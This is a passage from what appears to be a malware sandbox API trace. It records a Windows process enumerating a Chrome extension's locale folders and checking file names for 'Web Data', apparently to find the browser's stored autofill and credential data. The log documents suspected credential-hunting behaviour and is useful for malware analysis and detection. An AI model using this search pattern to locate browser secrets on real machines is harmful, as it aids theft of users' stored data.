Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.142] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="it" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it" [0056.142] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.142] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it") returned 131 [0056.142] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it") returned 131 [0056.142] lstrlenA (lpString="\\*.*") returned 4 [0056.142] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc4a8 [0056.142] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it" [0056.142] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\*.*" [0056.142] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc7f8 [0056.142] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.142] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.142] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.142] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.142] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.142] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.142] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.142] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.142] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.142] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.142] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.143] lstrcmpiA (lpString1=".", lpString2="ja") returned -1 [0056.143] lstrcmpiA (lpString1="..", lpString2="ja") returned -1 [0056.143] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.143] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.143] lstrlenA (lpString="\\") returned 1 [0056.143] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.143] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.143] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.143] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.143] lstrlenA (lpString="ja") returned 2 [0056.143] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc5b8 [0056.143] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.143] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="ja" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja" [0056.143] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.143] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja") returned 131 [0056.143] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja") returned 131 [0056.143] lstrlenA (lpString="\\*.*") returned 4 [0056.143] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc4a8 [0056.143] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja" [0056.143] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\*.*" [0056.143] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc7f8 [0056.143] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.143] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.143] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.143] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.143] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.143] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.143] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.143] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.143] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.143] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.143] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.143] lstrcmpiA (lpString1=".", lpString2="ko") returned -1 [0056.143] lstrcmpiA (lpString1="..", lpString2="ko") returned -1 [0056.143] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.143] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.143] lstrlenA (lpString="\\") returned 1 [0056.143] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.143] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.143] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.143] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.143] lstrlenA (lpString="ko") returned 2 [0056.143] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc5b8 [0056.143] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.143] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="ko" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko" [0056.143] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.143] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko") returned 131 [0056.143] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko") returned 131 [0056.144] lstrlenA (lpString="\\*.*") returned 4 [0056.144] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc4a8 [0056.144] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko" [0056.144] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\*.*" [0056.144] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc7f8 [0056.144] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.144] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.144] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.144] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.144] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.144] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.144] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.144] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.144] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.144] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.144] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.144] lstrcmpiA (lpString1=".", lpString2="lt") returned -1 [0056.144] lstrcmpiA (lpString1="..", lpString2="lt") returned -1 [0056.144] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.144] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.144] lstrlenA (lpString="\\") returned 1 [0056.144] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.144] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.144] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.144] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.144] lstrlenA (lpString="lt") returned 2 [0056.144] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc5b8 [0056.144] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.144] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="lt" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt" [0056.144] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.144] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt") returned 131 [0056.144] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt") returned 131 [0056.144] lstrlenA (lpString="\\*.*") returned 4 [0056.144] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc4a8 [0056.144] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt" [0056.144] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\*.*" [0056.144] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc7f8 [0056.144] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.144] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.144] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.144] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.145] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.145] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.145] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.145] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.145] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.145] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.145] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.145] lstrcmpiA (lpString1=".", lpString2="lv") returned -1 [0056.145] lstrcmpiA (lpString1="..", lpString2="lv") returned -1 [0056.145] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.145] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.145] lstrlenA (lpString="\\") returned 1 [0056.145] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.145] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.145] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.145] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.145] lstrlenA (lpString="lv") returned 2 [0056.145] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc5b8 [0056.145] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.145] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="lv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv" [0056.145] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.145] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv") returned 131 [0056.145] lstrlenA 